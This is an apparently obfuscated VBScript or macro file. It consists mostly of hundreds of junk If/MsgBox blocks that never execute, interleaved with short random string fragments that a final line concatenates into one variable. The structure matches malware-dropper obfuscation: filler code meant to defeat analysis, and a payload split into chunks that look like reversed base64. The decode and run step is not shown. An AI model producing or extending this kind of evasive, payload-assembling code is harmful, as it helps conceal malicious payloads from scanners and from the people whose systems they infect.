Dim YMbRDuIJC
YMbRDuIJC = mwJLWP & ygSnwvd
yiEZAMoHG = "itDa0FGc"
Ren7iG1q = "kA"
If Len(orFl6) < 180 Then
' avtek
Else
' fake
MsgBox "wWGKBx5R", 8, "jQxN0kb"
End If
If Len(EGTmoLw4) < 180 Then
' sq3VoeC
Else
' fake
MsgBox "pZsf3TR", 8, "L0iKLEG"
End If
If Len(sqSDy) < 180 Then
' DRGBh
Else
' fake
MsgBox "dfd8BbXs9", 8, "OuPgz9"
End If
If Len(t2Elvk) < 196 Then
' u2dYKn
Else
' fake
MsgBox "Iy2DZXC", 7, "rT0ZsKx"
End If
If Len(d6NaHRj) < 196 Then
' NtqlKavOc
Else
' fake
MsgBox "wTSqz7R", 7, "l9L8pnbZ"
End If
If Len(hvPuz2) < 149 Then
' H8GH5
Else
' fake
MsgBox "wpDLJ9a0C", 46, "zxQ82AB"
End If
If Len(GTwa7) < 149 Then
' Wnm92
Else
' fake
MsgBox "yS6F03w", 46, "qepsUF"
End If
If Len(G7gUbQm) < 149 Then
' R1vyC6O7
Else
' fake
MsgBox "Gd2TZMy", 46, "f2FiNZ"
End If
Dim Pu7T0J5
Pu7T0J5 = yiEZAMoHG & Ren7iG1q
nf1w5 = "pgyZulmc0N"
If Len(ezO52) < 208 Then
' v0rLDFZG4
Else
' fake
MsgBox "ywxkKQtp9", 49, "YGM7l0LA3"
End If
If Len(U5UTi) < 208 Then
' ALfAPe4q2
Else
' fake
MsgBox "qJr6HI4", 49, "cWY5s"
End If
If Len(Xo6CbBxG) < 208 Then
' V2rZ1nlqG
Else
' fake
MsgBox "MShHW6ky3", 49, "t8t4RMhab"
End If
If Len(hQkMebf) < 141 Then
' uoFIsw
Else
' fake
MsgBox "AMOuZ52g", 25, "tQEwIbkr"
End If
If Len(OmrE2) < 141 Then
' d8guM
Else
' fake
MsgBox "Nq4bSBRsx", 25, "XJfR5X"
End If
If Len(pslKrhi1) < 141 Then
' NXHVD9B5l
Else
' fake
MsgBox "SHhLX2Azt", 25, "ZVYG6p3qE"
End If
Dim DZzdC
DZzdC = nf1w5
iEcBWyDh = "3RC"
qEnPfr = "IuVGZkl"
If Len(uqQEP5R) < 221 Then
' gMtDFoie
Else
' fake
MsgBox "hiYAxog", 30, "Sf6HP5j"
End If
If Len(X0emxXD) < 221 Then
' ALlwQ
Else
' fake
MsgBox "dh1kI", 30, "yj3GDv6"
End If
If Len(tn0eN) < 221 Then
' rxt0Di
Else
' fake
MsgBox "DcQyOgk", 30, "CxuC2"
End If
If Len(tqtgRwI8z) < 221 Then
' MjQ4ek5O
Else
' fake
MsgBox "jxpJ6CGND", 30, "J3dKh"
End If
If Len(nxQZc) < 253 Then
' x2jzLY4
Else
' fake
MsgBox "jJtHxfN", 28, "jf2Rs0gJl"
End If
If Len(oCGjV2rX) < 253 Then
' NSFp8dc
Else
' fake
MsgBox "fCEfVd", 28, "stoxHjp"
End If
If Len(b0YscG) < 253 Then
' oITcCQ
Else
' fake
MsgBox "jeTn1O7", 28, "E6eYL5"
End If
If Len(GJOLxMcl) < 136 Then
' STfpZLbrR
Else
' fake
MsgBox "GLsBb", 46, "jkfDwy"
End If
If Len(o8dVE0) < 136 Then
' xjYgVPLf
Else
' fake
MsgBox "knOHk7RXz", 46, "TOVDhcUX"
End If
If Len(R7bUz) < 136 Then
' R4qR2N
Else
' fake
MsgBox "ThDKAa73", 46, "d9Js1"
End If
If Len(dCQPzW) < 213 Then
' FdO3ys8i
Else
' fake
MsgBox "fvblZeiXd", 3, "lTFjxbvna"
End If
If Len(fvweBdAm) < 213 Then
' eDcG3ri
Else
' fake
MsgBox "aOUgI46", 3, "AzZgw0f"
End If
If Len(XoqO43m) < 213 Then
' o893BTu
Else
' fake
MsgBox "ZxJaLt", 3, "oYIevU1"
End If
If Len(alXqmQ) < 213 Then
' XBw7qm
Else
' fake
MsgBox "qST6xw4Y", 3, "ogD8G"
End If
Dim kWXrD
kWXrD = iEcBWyDh & qEnPfr
gMlVH = "SYj5SZ0NWZ"
If Len(wLCsEj) < 142 Then
' scbzV9X
Else
' fake
MsgBox "SvRwkBJ", 8, "pgBvoMiF"
End If
If Len(F8aNA45) < 142 Then
' z3Sk0
Else
' fake
MsgBox "AslcIZ", 8, "rBI4GtHJ0"
End If
If Len(WkdYw) < 142 Then
' toBVsC
Else
' fake
MsgBox "jmkQfDI9W", 8, "St801C3k"
End If
If Len(wtD5PLf) < 142 Then
' oem7jz9lP
Else
' fake
MsgBox "SzisCWv", 8, "g1nWcgm0H"
End If
If Len(do1LCO) < 192 Then
' PUsxPBX7
Else
' fake
MsgBox "hry4JAS", 34, "aNqwp2UG"
End If
If Len(vySrYp) < 192 Then
' hmuBgZU
Else
' fake
MsgBox "htiAI", 34, "hIy0bvdU"
End If
Dim PehKYt
PehKYt = gMlVH
r8ljQJ0A = "1lXbk"
ITDIAi3 = "gCajF"
If Len(okTZyg) < 192 Then
' mSEDkJ
Else
' fake
MsgBox "k9lfg", 23, "uqJP4c"
End If
If Len(m1DeB) < 192 Then
' rVH3Q
Else
' fake
MsgBox "Zrt2v3", 23, "NuRGlL4"
End If
If Len(KceCm2) < 192 Then
' zzs3hnik
Else
' fake
MsgBox "WajLAHuU", 23, "woPEpf0g"
End If
If Len(HoIFG) < 192 Then
' lMaPSt6yn
Else
' fake
MsgBox "kZfTQI6", 23, "E5Mu7"
End If
If Len(BDmgEf) < 138 Then
' OKU93
Else
' fake
MsgBox "g6EzxcM2", 43, "U1u8Ya3A"
End If
If Len(Hdvmj) < 138 Then
' i9osA04K7
Else
' fake
MsgBox "GkL6du", 43, "j7k1QB"
End If
If Len(ORmWC4joU) < 138 Then
' r2In6qeNJ
Else
' fake
MsgBox "wHD583", 43, "flqCGoAbT"
End If
If Len(WnPL1H) < 165 Then
' GCcMHgn
Else
' fake
MsgBox "OHLcySQ", 34, "BYLukqEr"
End If
If Len(HOimthqa) < 165 Then
' ulGXIpa
Else
' fake
MsgBox "SwaP9l", 34, "NWsYBS"
End If
If Len(aLENzy) < 165 Then
' Pupr7
Else
' fake
MsgBox "Z28Xq", 34, "XBV1Ak5qv"
End If
Dim nNKHV
nNKHV = r8ljQJ0A & ITDIAi3
FXx2nN9 = "tRCKlx"
EINxR8 = "Wa"
x0HxlhsGm = "GR"
If Len(MhVrpa3xU) < 130 Then
' YI8gMLw
Else
' fake
MsgBox "oH2AugY", 61, "zLRK46bja"
End If
If Len(A9cZ8xrb) < 130 Then
' trM4RxT
Else
' fake
MsgBox "oObBC", 61, "k9A1eqG5"
End If
If Len(r5p81bn) < 130 Then
' LUSupe2
Else
' fake
MsgBox "jOqLWNCl", 61, "oVX0j"
End If
If Len(CZytJ) < 187 Then
' ZiEZfuS
Else
' fake
MsgBox "C42Hwj19", 15, "m6eG7Cz"
End If
If Len(xGayvK) < 187 Then
' CAIvQ
Else
' fake
MsgBox "VvHr6", 15, "Bc1OPKXWf"
End If
If Len(C9vS2bEp) < 187 Then
' nB186C
Else
' fake
MsgBox "kJYT9hpV", 15, "Z50R7Sa38"
End If
If Len(CcGgLDa) < 212 Then
' m0kx4
Else
' fake
MsgBox "TwJYBQLuA", 2, "SLR5Jjrtz"
End If
If Len(fTptSqkJf) < 212 Then
' bkD9Nux
Else
' fake
MsgBox "I8GiRhmHC", 2, "OelBOiN"
End If
If Len(IOxhz) < 212 Then
' wOoMEz
Else
' fake
MsgBox "kihOw", 2, "LSpEJm4M"
End If
If Len(UcePdlEz) < 215 Then
' UpafKQoqI
Else
' fake
MsgBox "VVeBHYZ", 25, "lKfMlmX"
End If
If Len(eV9Ch) < 215 Then
' kwHThQ8La
Else
' fake
MsgBox "NwHv2Qoz", 25, "Gkudw"
End If
If Len(LnjBHF) < 215 Then
' y10UgqK
Else
' fake
MsgBox "RlFm3Xy7Z", 25, "FtA0eLsMY"
End If
If Len(u9EcY) < 215 Then
' SkwU5
Else
' fake
MsgBox "p23v7aX", 25, "Fw9VuM8lf"
End If
Dim DrsgLPnE
DrsgLPnE = FXx2nN9 & EINxR8 & x0HxlhsGm
HBak7K = "v02bj5"
M4dMCGbE6 = "ybjJ"
If Len(VnMUtI) < 242 Then
' DVUHf
Else
' fake
MsgBox "tMAENic", 31, "Cf0SE3bvn"
End If
If Len(ILpbCO) < 242 Then
' o9F2L
Else
' fake
MsgBox "DsrYGz0ef", 31, "CIqYL"
End If
If Len(DRxs0i) < 242 Then
' fA5nh9
Else
' fake
MsgBox "UUmg0XEnA", 31, "gIVBJRmu"
End If
If Len(aF9iya) < 242 Then
' mxeTs
Else
' fake
MsgBox "bpx36a", 31, "PL4HKIGBi"
End If
If Len(g6f1ar) < 187 Then
' FXwa6fhZ
Else
' fake
MsgBox "F5L3I", 45, "cas5V"
End If
If Len(ez0DZAKds) < 187 Then
' dsUIXVfGk
Else
' fake
MsgBox "i4WzAPbQ", 45, "KYMW7OkQ"
End If
Dim d6IJh2
d6IJh2 = HBak7K & M4dMCGbE6
d14qgkz = "voDc0RHa"
NEVt6g = "nA"
If Len(HmEVC) < 188 Then
' h8YAJoSa4
Else
' fake
MsgBox "AhNuUlW", 56, "XcbO8"
End If
If Len(B8BlGgv) < 188 Then
' o6gs05
Else
' fake
MsgBox "sjKt2YLC", 56, "OvfajLym"
End If
If Len(Bdh6E) < 188 Then
' JbRA753
Else
' fake
MsgBox "yaBLn", 56, "Ire31zSB"
End If
If Len(YyePFk) < 188 Then
' A0wxik
Else
' fake
MsgBox "N30MW6Ls", 56, "HKuIJ3Rc8"
End If
If Len(A7eiqRca8) < 142 Then
' m7AEIz
Else
' fake
MsgBox "cF6m3dnQz", 20, "waCAlyJKV"
End If
If Len(SmFUIY) < 142 Then
' Mt4Kx
Else
' fake
MsgBox "LWbdjV", 20, "jbcoes4"
End If
If Len(RDYQRjt) < 224 Then
' dPOezTJR
Else
' fake
MsgBox "VKnhS", 22, "vJDkqCRNl"
End If
If Len(G30yWl) < 224 Then
' XbAFnZ1XL
Else
' fake
MsgBox "oKVzBsv", 22, "Vvzx7bT"
End If
If Len(A4KomaC) < 224 Then
' VpVqnd96
Else
' fake
MsgBox "RnKWk6MJ", 22, "Czpv6DFIU"
End If
If Len(XaIonk8) < 224 Then
' uM4FI
Else
' fake
MsgBox "fM351S", 22, "rnC1FS"
End If
Dim GFwrs
GFwrs = d14qgkz & NEVt6g
E54LPwi = "lRnO25"
XdQUq = "WZk"
vtSnELXoG = "A"
If Len(VarvTgYB) < 191 Then
' RJL7cfT2
Else
' fake
MsgBox "Naf0EOZKo", 37, "R6t7e"
End If
If Len(Wi6VnNQ) < 191 Then
' EXLds
Else
' fake
MsgBox "oNtKBHj", 37, "uaFNVTG"
End If
If Len(DTUVE) < 191 Then
' RTZUdpBXW
Else
' fake
MsgBox "oIqXNvfK", 37, "PfPtZ"
End If
If Len(lf4FW2Q9p) < 165 Then
' ZWg2hAk4y
Else
' fake
MsgBox "lIwzB3ci", 6, "I20ph9"
End If
If Len(eMePdo3Jh) < 165 Then
' cFKsX0pt6
Else
' fake
MsgBox "hxYIny", 6, "WjmPoYH9e"
End If
If Len(yrk2A) < 165 Then
' J4oNv
Else
' fake
MsgBox "MKTZ8", 6, "YAsFhT"
End If
If Len(UlBY8kLV) < 168 Then
' ZiJxB
Else
' fake
MsgBox "xlwWId", 10, "FhU9Fjy"
End If
If Len(zoSHpgm7) < 168 Then
' AemtsBHDp
Else
' fake
MsgBox "YmZGC9V", 10, "e8VBMRbZT"
End If
If Len(LtcNdX0y) < 168 Then
' OqeRCUOmx
Else
' fake
MsgBox "dvHt2O3", 10, "rzGRj"
End If
Dim c3ZkzuQf
c3ZkzuQf = E54LPwi & XdQUq & vtSnELXoG
wTRlf = "2QiV2V"
o6VCk = "uQXZ"
If Len(di0M5) < 176 Then
' A57Vc
Else
' fake
MsgBox "NCFPb6HJj", 17, "zhcenZ8H"
End If
If Len(BvgTJi) < 176 Then
' QBtHDX
Else
' fake
MsgBox "kImWqnBPh", 17, "lHyh0"
End If
If Len(oLZ5ei) < 176 Then
' Tfrg2u
Else
' fake
MsgBox "r3VMj", 17, "i5B4z67b"
End If
If Len(M90GPv) < 172 Then
' kIE1Px
Else
' fake
MsgBox "bbc5DrE0U", 8, "JbidcR"
End If
If Len(IvJaG15nL) < 172 Then
' EzhtcJxa
Else
' fake
MsgBox "Nyvh9I4", 8, "dqIB7t"
End If
If Len(yh4tIQgNZ) < 172 Then
' nz1BU
Else
' fake
MsgBox "gyGDkYC", 8, "x8rBs56z"
End If
If Len(NetbNlFP) < 172 Then
' v8ecLR09
Else
' fake
MsgBox "Hklo9st", 8, "J1tJ2rI"
End If
Dim f8ksVx
f8ksVx = wTRlf & o6VCk
YcisyJl = "SPgMHb"
lqUkrCc = "yVXe"
If Len(vyh2K8VA) < 228 Then
' gtNpuF
Else
' fake
MsgBox "yE4jAzw", 39, "MGlgfZ"
End If
If Len(vq5SfhE) < 228 Then
' MQTdw
Else
' fake
MsgBox "BRg3Xz", 39, "tVF78k"
End If
If Len(FbW7TFYIG) < 228 Then
' axBH6Z7u
Else
' fake
MsgBox "hhM3ib5an", 39, "A1l4R"
End If
If Len(LgBeY) < 228 Then
' ich2yq7X
Else
' fake
MsgBox "XSQItbRE", 39, "bVC7voF6p"
End If
If Len(Pd547l8F) < 194 Then
' AOahr
Else
' fake
MsgBox "kv8KC", 33, "MGzkuedw"
End If
If Len(ICk6sEe) < 194 Then
' rojhRM
Else
' fake
MsgBox "cqPcr", 33, "xoY0e"
End If
If Len(dy5AYvGB) < 194 Then
' QaysUE1qC
Else
' fake
MsgBox "UIMEn", 33, "GrE8qWiXT"
End If
If Len(mrD5UQ) < 194 Then
' C9bvunm
Else
' fake
MsgBox "mG6KhD1", 33, "xRI4JKdNO"
End If
If Len(RjQZSyXH) < 144 Then
' BbX9PY
Else
' fake
MsgBox "O5GznyV9", 50, "AbzhB2"
End If
If Len(ifJUmR) < 144 Then
' Gf4i3oZ
Else
' fake
MsgBox "vCj95Wa", 50, "jx79o"
End If
If Len(lz7Uk0cmD) < 163 Then
' YDTRsY7
Else
' fake
MsgBox "Dr4sVWJe", 39, "gPbtcGVT"
End If
If Len(z6m4SYEey) < 163 Then
' QujGn
Else
' fake
MsgBox "tJ3At", 39, "TOVx7"
End If
If Len(KoQV7TK) < 163 Then
' Tt4yadwf
Else
' fake
MsgBox "a7JDLw", 39, "XMLNgrd"
End If
Dim uSRa67oKT
uSRa67oKT = YcisyJl & lqUkrCc
vtNEpVz = "l5Cb"
v39aipel = "qhma"
QaIZ8VL = "uh"
If Len(bCL3V) < 251 Then
' xlWU4L8Z
Else
' fake
MsgBox "ZT5eW", 7, "QcGdzbZok"
End If
If Len(ayfOx) < 251 Then
' q8zbpn
Else
' fake
MsgBox "RpEH64qM8", 7, "Hj7mUtq9"
End If
If Len(OoxaXfB) < 254 Then
' mkx2c1r
Else
' fake
MsgBox "KylNH", 37, "YWYFZQ"
End If
If Len(jv8Fu) < 254 Then
' ycCWz2p
Else
' fake
MsgBox "gnqwOe", 37, "jILvbX"
End If
If Len(Qf7sjYg) < 254 Then
' i4dCTc
Else
' fake
MsgBox "XHiPtW", 37, "DZpsI"
End If
If Len(ZgwXLKci) < 254 Then
' MUrl9
Else
' fake
MsgBox "dfrX7", 37, "kmoQcJ"
End If
If Len(WktBzow) < 140 Then
' LlsFpzO
Else
' fake
MsgBox "fh3TI", 31, "Rb5makF4I"
End If
If Len(uCunY) < 140 Then
' ufE6w
Else
' fake
MsgBox "Y9oX0chi", 31, "n0Ktj"
End If
If Len(iglhm3) < 140 Then
' gIM0N6dit
Else
' fake
MsgBox "b4f6p", 31, "uyK5YQXUk"
End If
If Len(SLt9n) < 140 Then
' asn0u13h
Else
' fake
MsgBox "WpBhvf7O", 31, "xi65KT"
End If
Dim ZNfpnC
ZNfpnC = vtNEpVz & v39aipel & QaIZ8VL
Ww2RIy = "Gblh2Lvo"
oUP9amOL = "Dc"
If Len(DkHz23N9) < 252 Then
' pVeWM
Else
' fake
MsgBox "JyPmoWB", 2, "ApEgaUZo"
End If
If Len(DBRHp0PI) < 252 Then
' wmsG4
Else
' fake
MsgBox "SEicr4", 2, "CPKDdnT"
End If
If Len(ByN7CG) < 252 Then
' GAwhW
Else
' fake
MsgBox "deoTj", 2, "UiINvSsl4"
End If
If Len(w8YnOybfJ) < 252 Then
' j8gSXLa
Else
' fake
MsgBox "jt9hY", 2, "E0iuDxzYQ"
End If
If Len(fCTkR6) < 208 Then
' tdlUsj
Else
' fake
MsgBox "CZjUFAM3o", 61, "jYEb56NLg"
End If
If Len(sqa0omsCV) < 208 Then
' zlyLZqo
Else
' fake
MsgBox "PCZ96c", 61, "n0n9Kb"
End If
If Len(C46UYt) < 208 Then
' xYVhJyEa
Else
' fake
MsgBox "pUZfySec", 61, "ANeAr"
End If
Dim qUb0v2hD
qUb0v2hD = Ww2RIy & oUP9amOL
kzkQf = "=0Xf7h2Y0"
RVA9YZM = "F"
If Len(TxRt491ez) < 236 Then
' o9itHkO
Else
' fake
MsgBox "avC2dTu", 39, "bEQOHjon"
End If
If Len(zrO890S) < 236 Then
' noECkTbLD
Else
' fake
MsgBox "F57kRDbT", 39, "rXQ41B"
End If
If Len(lCwXN) < 179 Then
' HhbJ8H
Else
' fake
MsgBox "UHTtV", 10, "JgrbLP"
End If
If Len(OBMQWAiY) < 179 Then
' PugxIsb
Else
' fake
MsgBox "waTIvlr5", 10, "ePfwTC"
End If
If Len(YZn1fM5cr) < 179 Then
' jMmkeEw
Else
' fake
MsgBox "tUsjCEG", 10, "RUJwAu9vI"
End If
If Len(ROA63) < 179 Then
' WIkoAgm2
Else
' fake
MsgBox "nNBHTXmj", 10, "eWfiw"
End If
If Len(Ovuoj) < 197 Then
' Tv50dh8P
Else
' fake
MsgBox "aIa9U", 37, "QtfQj7"
End If
If Len(hC10E6) < 197 Then
' XCyFqE
Else
' fake
MsgBox "wj0fcoZ", 37, "WMBdS"
End If
Dim dLd7Ho
dLd7Ho = kzkQf & RVA9YZM
Kgf3o9 = "GJg4Wagwmc"
If Len(hHAnSRUd) < 181 Then
' y2zRdMB
Else
' fake
MsgBox "aeCbg", 35, "GkeZPQO"
End If
If Len(cuh89l5op) < 181 Then
' Ww08oC
Else
' fake
MsgBox "TxaoMm", 35, "MovKFRx"
End If
If Len(KIZ26) < 203 Then
' QqQv5
Else
' fake
MsgBox "aKun6", 49, "KOzW9f"
End If
If Len(QfoixF58) < 203 Then
' YzJ7Tm
Else
' fake
MsgBox "QKGArt4", 49, "kAdpa"
End If
If Len(cpthHvC) < 203 Then
' dTS2VUyOl
Else
' fake
MsgBox "kBvJTjh", 49, "kYXFWV7kd"
End If
If Len(TpEkDR) < 203 Then
' cPXhZ6SC
Else
' fake
MsgBox "y9VfU", 49, "fkHNG"
End If
If Len(RewjsvDX) < 205 Then
' idMyIsv
Else
' fake
MsgBox "D3WctPU6", 54, "VvTPIw"
End If
If Len(E1DkmegT) < 205 Then
' TwtC61
Else
' fake
MsgBox "QbjJk85vx", 54, "eS4D7n9zX"
End If
If Len(bLvh8l) < 205 Then
' ytpb4cxS
Else
' fake
MsgBox "iv2Po6EZ", 54, "d2zNX"
End If
If Len(rqpDRbnJ) < 185 Then
' orIpKbZho
Else
' fake
MsgBox "vgiHYDjwU", 33, "q3HuDbm"
End If
If Len(eCL4iScNo) < 185 Then
' UfTNa
Else
' fake
MsgBox "h7RnIY", 33, "ucs5CRj93"
End If
If Len(wJqbHxf3) < 185 Then
' lQjA8X
Else
' fake
MsgBox "KVsron", 33, "brhe4w"
End If
Dim JRFwdiZ
JRFwdiZ = Kgf3o9
kYjPD = "GdjVmcpR"
PDX9Vhb = "2c"
If Len(AQRrs51wm) < 235 Then
' OIyzl
Else
' fake
MsgBox "klSDTeL", 57, "WQtjAuzs5"
End If
If Len(nw4W1SIN) < 235 Then
' E0y6SPJR
Else
' fake
MsgBox "d6HyA", 57, "CVj2JLegB"
End If
If Len(QXGBztNs) < 235 Then
' nh9Uwe
Else
' fake
MsgBox "YNLcW926v", 57, "xefiz8"
End If
If Len(ZcnYVTNS1) < 187 Then
' F3Mm42xJ0
Else
' fake
MsgBox "zS4ueg", 38, "eHQGnutU"
End If
If Len(GdgD9owF1) < 187 Then
' wLTHYh
Else
' fake
MsgBox "AngqPRkls", 38, "o0wqA"
End If
If Len(kvPerBZn) < 187 Then
' gntpVwzD8
Else
' fake
MsgBox "t6iHT9B7f", 38, "kUopK7I"
End If
If Len(UeuzYcf) < 187 Then
' MK36S
Else
' fake
MsgBox "zcniJyG7X", 38, "GKBMi"
End If
Dim WzIA4jCOg
WzIA4jCOg = kYjPD & PDX9Vhb
hzJdIWa = "ycrl3Zx9G"
F7Yb2gp = "c"
If Len(cuJbe) < 187 Then
' rv57Ylz6t
Else
' fake
MsgBox "e7UkqTCG", 24, "wjHJf6Iub"
End If
If Len(DS0hFwpDL) < 187 Then
' xZYh9gIjl
Else
' fake
MsgBox "IlyV8fm", 24, "QGapJ"
End If
If Len(eEt7W) < 187 Then
' bGQMqFj
Else
' fake
MsgBox "FpRM2", 24, "kpE1r"
End If
If Len(etNc4ofgY) < 170 Then
' xoZ8Ecq
Else
' fake
MsgBox "gyI59e", 50, "xS3nF4To"
End If
If Len(Sp30y) < 170 Then
' feL5Wk7
Else
' fake
MsgBox "WHoUBCReN", 50, "puntVEd"
End If
If Len(PpMhoYA) < 175 Then
' DpeHGBr
Else
' fake
MsgBox "XOwZ5", 20, "exuNE7"
End If
If Len(gWY47Lux) < 175 Then
' A3XZT
Else
' fake
MsgBox "TlgdhJ", 20, "tZRFC"
End If
If Len(QnxRGXzw) < 175 Then
' LjS7AD3x
Else
' fake
MsgBox "IYIT7uzNS", 20, "FQdMLV"
End If
If Len(u6wz5QH) < 175 Then
' EVkLz4
Else
' fake
MsgBox "hT9k2", 20, "OhGKyJdAs"
End If
Dim uhjKuBC
uhjKuBC = hzJdIWa & F7Yb2gp
KvVNst7i = "1bU5"
pzy4j = "CbyVXe"
If Len(PsWZgpnf) < 199 Then
' PpOLX
Else
' fake
MsgBox "BMYfvPROz", 16, "U42Kpzj"
End If
If Len(qmuz7E5H) < 199 Then
' bNJ7BTR
Else
' fake
MsgBox "q19mZ", 16, "rfv0Vp2"
End If
If Len(q8Tzf6NWb) < 199 Then
' besAf
Else
' fake
MsgBox "R5NQwIRV", 16, "iZBJi7"
End If
If Len(Xtfbs) < 135 Then
' h8f6H
Else
' fake
MsgBox "L5bEU9h", 34, "LeySPB6I"
End If
If Len(V9tgG) < 135 Then
' XvxelcQXP
Else
' fake
MsgBox "w3S0D2", 34, "W8jPy"
End If
Dim CfkX8t
CfkX8t = KvVNst7i & pzy4j
T0VgkQ7 = "39Gc"
If Len(CwK356J7) < 235 Then
' Vqnw0WPI
Else
' fake
MsgBox "OlHkr6", 51, "DhsZ0BpG"
End If
If Len(GnRLGTk) < 235 Then
' g7O4mDvjo
Else
' fake
MsgBox "RgLuT", 51, "hKE6eFl"
End If
If Len(jZfCwds) < 253 Then
' oozbquFgC
Else
' fake
MsgBox "heus1", 26, "eOL9l"
End If
If Len(LsEMduqi) < 253 Then
' izAM3
Else
' fake
MsgBox "DnueLvS", 26, "i7qlrAv9n"
End If
Dim dyAePw
dyAePw = T0VgkQ7
RJ4UlD9L3 = "nav0"
VAE8femO1 = "2bj5SY"
If Len(PhxXizq) < 218 Then
' A6GJi0
Else
' fake
MsgBox "A3CkG5", 43, "fSsI7ZF9L"
End If
If Len(cvZe8ig) < 218 Then
' lCJGmD
Else
' fake
MsgBox "r8PRl6c0I", 43, "S4XwbN"
End If
If Len(gr9XybmB) < 218 Then
' fNKFwpgD
Else
' fake
MsgBox "JvT8ykH", 43, "CqeU3Cg"
End If
If Len(MugQk1UjA) < 226 Then
' hmHaUKE
Else
' fake
MsgBox "wSHNE", 49, "YYc13"
End If
If Len(YbxCY8BoF) < 226 Then
' PuZMUzPtn
Else
' fake
MsgBox "mFMSLT", 49, "Bj6mXlPvf"
End If
Dim Zd3ZL
Zd3ZL = RJ4UlD9L3 & VAE8femO1
nXfT1S5 = "mLqRna2pG"
KZJsf = "a"
If Len(nQ0P3Gy) < 166 Then
' XpY71J
Else
' fake
MsgBox "n9OT8", 23, "soyZY6"
End If
If Len(vmbUqy) < 166 Then
' hFAXB
Else
' fake
MsgBox "UGuJcWB", 23, "QDYgyXbo"
End If
If Len(hyeXiuh2) < 166 Then
' UkUCM3
Else
' fake
MsgBox "EZz7pR", 23, "aCeuXZH"
End If
If Len(rbam4Vo) < 209 Then
' gQy64s8iE
Else
' fake
MsgBox "EYqmyEGa", 60, "Xn3V16"
End If
If Len(zq6yg27P) < 209 Then
' MU6g7wFu
Else
' fake
MsgBox "EbpdLjz", 60, "GjgUW"
End If
If Len(XmTPqQVO7) < 209 Then
' P0yQgWJX
Else
' fake
MsgBox "uU52ar", 60, "iRg4ZyUJ"
End If
If Len(BifDBE) < 240 Then
' lhyTHOUw
Else
' fake
MsgBox "MIdyZx4Ch", 14, "ZCVtdqKIu"
End If
If Len(gISHXOu0) < 240 Then
' X4FU5LHd
Else
' fake
MsgBox "lKHBiCgT", 14, "lOwZK"
End If
If Len(EAyV9S) < 140 Then
' CEqiP4
Else
' fake
MsgBox "oEB82Q", 56, "xtOhu"
End If
If Len(xmrLOo9J) < 140 Then
' Q9tnxf
Else
' fake
MsgBox "WpDkdA", 56, "fJMxIPN"
End If
If Len(kdyTmEi) < 140 Then
' YHtYopdwI
Else
' fake
MsgBox "cegN0uzZ", 56, "TCW1s2Y"
End If
If Len(AC72JM) < 140 Then
' kuOLHXAx0
Else
' fake
MsgBox "MYK5w7", 56, "E2O8VgTb"
End If
Dim uLRWvTHB3
uLRWvTHB3 = nXfT1S5 & KZJsf
V6EOtrlx = "p9Sbv"
rBsOV = "NmL"
xmc4W = "z9"
If Len(DnOPYAzf9) < 192 Then
' SLZ6DVTu
Else
' fake
MsgBox "V4jcm", 33, "THlS6nL8G"
End If
If Len(ZJvgn8) < 192 Then
' MIWc7eruK
Else
' fake
MsgBox "BeP7SZXD5", 33, "sxyLQGmf2"
End If
If Len(HO1FhQ) < 128 Then
' bA5z2CZ
Else
' fake
MsgBox "OgbKanS24", 42, "nnGAwlo"
End If
If Len(VzfPv) < 128 Then
' ZEp2nHA
Else
' fake
MsgBox "UFyof9PRw", 42, "Jp1YbyX7"
End If
If Len(PE2i7) < 128 Then
' YJqXDfa5
Else
' fake
MsgBox "INm4w", 42, "YhDltL"
End If
Dim Vplh2ES
Vplh2ES = V6EOtrlx & rBsOV & xmc4W
pg3iLxWu6 = "Wby9mZ"
g6y8O = "v8"
onUE7Kqv = "iO"
If Len(gUF6MZeuj) < 199 Then
' cDOs4z51
Else
' fake
MsgBox "LPBLQt", 2, "RNI2Viv"
End If
If Len(a6vZFs) < 199 Then
' X4ZeUACo
Else
' fake
MsgBox "YHRIOp3", 2, "pMais"
End If
If Len(yG1JeoW6) < 199 Then
' IH4VBdeUX
Else
' fake
MsgBox "eml2Or", 2, "AzSp1J0B5"
End If
If Len(XjFMuWE) < 136 Then
' kvU4gc
Else
' fake
MsgBox "OAYBWhvt", 1, "KlpN6Rja"
End If
If Len(ecopAjL) < 136 Then
' vUZoB1L4
Else
' fake
MsgBox "Lch7wDFY", 1, "Z1mvneX"
End If
If Len(cEhi61) < 133 Then
' mF1YLec
Else
' fake
MsgBox "PMmndpz", 2, "IvexNjB"
End If
If Len(GEqJOs) < 133 Then
' fZlXVC
Else
' fake
MsgBox "NJ8Aq7H", 2, "lrn8x7lB"
End If
Dim ler4pO1yW
ler4pO1yW = pg3iLxWu6 & g6y8O & onUE7Kqv
If Len(jNyBEwz4) < 148 Then
' YmwdY
Else
' fake
MsgBox "wtazD", 14, "lPQGbHg4"
End If
If Len(SvhNWYI) < 148 Then
' GRvpAKr0U
Else
' fake
MsgBox "FcyEpiOF", 14, "EMx17I9"
End If
If Len(zqyCmS9) < 148 Then
' H8O5clSgf
Else
' fake
MsgBox "KzKNhv5nC", 14, "MxyFfgs"
End If
If Len(rjlgmK) < 132 Then
' q3pkRDBi
Else
' fake
MsgBox "RTaF3rvS", 34, "AG2gpHdF"
End If
If Len(P0uSwkxa) < 132 Then
' JOV6W1YTA
Else
' fake
MsgBox "UkHzL9", 34, "LR1UWfp"
End If
If Len(CU9my3) < 132 Then
' OIof4S
Else
' fake
MsgBox "YkbexAq1", 34, "FoSObK"
End If
vy280 = dLd7Ho & d9oZSihA & Pu7T0J5 & gaDW3 & ZoJjl & y2ZnrYB & DZzdC & CfkX8t & DrsgLPnE & hGuox1YZ & cdwRY5O & yaF6xv & hADYtc & JRFwdiZ & nNKHV & q1wU0vE & OsvMYL & Mr5XdTft & c3ZkzuQf & G5vORo & Tt0bhOcP & FZHhSi & ZNfpnC & Zd3ZL & Tkvxni & Jsmytrdi6 & AieObmg & qUb0v2hD & euv0IE & uhjKuBC & d6IJh2 & PBT9q & YMbRDuIJC & SyZRPiOp & Sduwor & PehKYt & j4pmktP & ler4pO1yW & mH5Clwpo & uLRWvTHB3 & v1V5tardK & bkxFgG & fceUvN & fiVvoJxq & RadpP3Wm & jkGAejR & Vplh2ES & WzIA4jCOg & OrNw5 & q5Gl2Zdq3 & GFwrs & uSRa67oKT & VD654 & f8ksVx & PFpsTw4 & gF5nDvXL & dEHN5P & lBxqZ274T & kWXrD & FYxytQpA & U02KEbUs & kFnRBdjcy & dyAePw
If Len(koaLG4mYI) < 129 Then
' LSiB6fAP
Else
' fake
MsgBox "F6GR7oLW", 34, "hqVah"
End If
If Len(fc8NVHD) < 129 Then
' kVwEy7a9j
Else
' fake
MsgBox "NBnr4", 34, "XkEGt"
End If
